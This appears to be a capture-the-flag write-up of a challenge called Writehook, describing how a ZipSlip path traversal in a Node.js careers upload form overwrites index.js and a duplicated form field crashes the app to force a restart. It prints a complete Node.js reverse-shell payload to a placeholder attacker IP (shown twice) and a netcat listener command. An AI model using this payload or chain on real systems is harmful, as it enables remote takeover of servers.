November 10, 2026
Gaining RCE on a server running a vulnerable web application (ZipSlip vulnerability)
This application was a simple web application. After visiting the page you first see this nice homepage.
By mbenboulo
6 min read
I then explored the other pages as indicated in the navbar. One of the pages stood out to me because it allowed me to input data and send to the server and from an attackers perspective that is a potential attack surface.
This was the /careers path and this is how it looked like:
Looking at the screenshots, you can tell that this an application form. It has three fields: position, email address, a zip file, and profressional pitch.
These are all fields that we control. So in order to take advantage of this application the inputs we control are our best shot.
The next thing I did was to look at the source code of the application which was provided by the challenge. The link is provided at the end of the page for anyone who wants to try it out.
Looking at the entry point of the application which is index.js we end up following a trail. We notice a lot of things but what matters most to use are the routes registered. In this file we notice that the routes are defined in ./routes/main so that is our next stop.
So here are the contents of /routes/main.js. And here we see all the registered routes. Out of all these routes the route that is doing anything interesting is the /apply routes. The rest just render a page which cannot lead to any form of RCE.
Following the /apply route we notice a function being called after the preprocessing to ensure the file is of the right size, this is the submissionController.submitApplication function. Now we should look into this function.
What this function is doing is very simple. Let's break it down.
- It firsts check if the role, pitch and email have been filled. If not it returns
- Checks if file has been uploaded. If not it returns
- Makes sure there is a valid path to extract the zip file into. Then it extracts the zip file into it.
The question now is where is the vulnerablility. During my research I came across a vulnerability discovered by snyk called ZipSlip which is basically a path traversal vulnerability that leads to file write/overwrite.
The idea is that instead of a zip file just containing file names like a.txt, b.txt, etc instead it will contain very weird file names like '../../../../../a.txt' and the point is if the extraction is not designed to handle and prevent this it will lead to the extractor placing the file a.txt in a different directory outside its intended destination. The danger to this is the ability to write any file any where and also overwrite existing files.
So that is what we are going to take advantage of. After discovering this my approach was:
- Craft a malicious zip file with path traversal needed to overwrite index.js (malicious index.js which will spawn a reverse shell)
- Upload malicious zip file
- Use nc to set up an active listener on my host machine
- Somehow get a connection back
Initially I was thinking that by updating/overwriting index.js the whole application will automatically restart and then use my malicious index.js to start itself but I was wrong.
I needed to find a way to trigger the application restart which is what step 4 entails.
Now one thing we must know is that the manager of the app is called supervisor and it has certain configuration settings in supervisord.conf. Looking at its configurations we see that it autorestarts the application when there is any error as can be seen by the variable autorestart being set to true. So what we need is to somehow trigger an error which is not handled well by the application and then that will lead to it restarting.
If you remember back in our source code for the submissionController one of the fields is reformatted but no error handling is done for it.
The role.replace() function takes a string and does some formatting to it.
But what if it did not receive a string?
That is what we are going to be exploiting. I learnt that by sending the role field twice in the POST request the parser treats them as an array and that becomes the value of role. Meaning that role.replace() will be run on an array which will then trigger an error and force restart our application.
const net = require('net');
const {{ spawn }} = require('child_process');
let attempts = 0;
const maxAttempts = 30;
function connectBack() {{
if (attempts >= maxAttempts) {{
console.error('Reverse connection attempts exhausted');
return;
}}
attempts += 1;
const socket = net.createConnection({ATTACKER_PORT}, '{ATTACKER_IP}', () => {{
const shell = spawn('/bin/sh', ['-i'], {{
stdio: ['pipe', 'pipe', 'pipe']
}});
socket.pipe(shell.stdin);
shell.stdout.pipe(socket);
shell.stderr.pipe(socket);
}});
socket.on('error', (err) => {{
console.error(`Reverse connection attempt ${{attempts}} failed: ${{err.message}}`);
socket.destroy();
setTimeout(connectBack, 2000);
}});
}}
connectBack(); const net = require('net');
const {{ spawn }} = require('child_process');
let attempts = 0;
const maxAttempts = 30;
function connectBack() {{
if (attempts >= maxAttempts) {{
console.error('Reverse connection attempts exhausted');
return;
}}
attempts += 1;
const socket = net.createConnection({ATTACKER_PORT}, '{ATTACKER_IP}', () => {{
const shell = spawn('/bin/sh', ['-i'], {{
stdio: ['pipe', 'pipe', 'pipe']
}});
socket.pipe(shell.stdin);
shell.stdout.pipe(socket);
shell.stderr.pipe(socket);
}});
socket.on('error', (err) => {{
console.error(`Reverse connection attempt ${{attempts}} failed: ${{err.message}}`);
socket.destroy();
setTimeout(connectBack, 2000);
}});
}}
connectBack();Now it't time to start the attack chain. First I needed to craft my index.js replacement. So I decided to maintain the original index.js but included this within it. All this code snippet does is attempt to create a connection to a certain server which is basically the attacker/host/me and then spawn a shell. It basically sets up a reverse shell with the attacker. Make sure you set the attacker ip and port to your given IP on the VPN and port that you intend to listen on.
The next thing was to zip this correctly so we have the path traversal as part of the zip file. I used a simple python script for that. To do this I followed a tutorial from this site.
This is the script I used for that. To use this make sure your malicious index.js file (index.js which contains the malicious code snippet) is in the same directory as the script else it will raise an error and also make sure to do some corrections to python's zipfile library as pointed out in this article, else it won't work.
After we have our zip file we just follow the application process normally.
Now that we are done with that, the next thing is to trigger the app crash but let's first setup a listener using netcat.
nc -lvnp 4444nc -lvnp 4444This will set up a listener on the host machine and it will be waiting for a connection on port 4444.
Now we will trigger the app crash and to do this we will leverage burpsuite.
I am doing all this on kali linux. So I am using FoxyProxy extension as my proxy setup with firefox in order to capture all the requests in burpsuite.
In this video, I go through the process. Once you do this and send that connection. It immediately triggers an error on the server side. If your netcat listener was running it would have caught a connection.
From here, we should be able to 'ls' and 'cat' flag.txt
This whole exploit chain can be tried by you at https://ulfr.nestcon.live/
This site has the challenge, you can spawn it and try it out. The challenge is called Writehook.
You can also check it out here: https://ulfr.nestcon.live/challenges/writehook
After this challenge, I created my own exploit which automates all this process. It simply takes in the target IP, target PORT, attacker IP and attacker PORT as arguments and runs the whole exploit chain and provides the shell.
I demonstrate it in action with this video. Reach out if you want the exploit script. LOLL!!!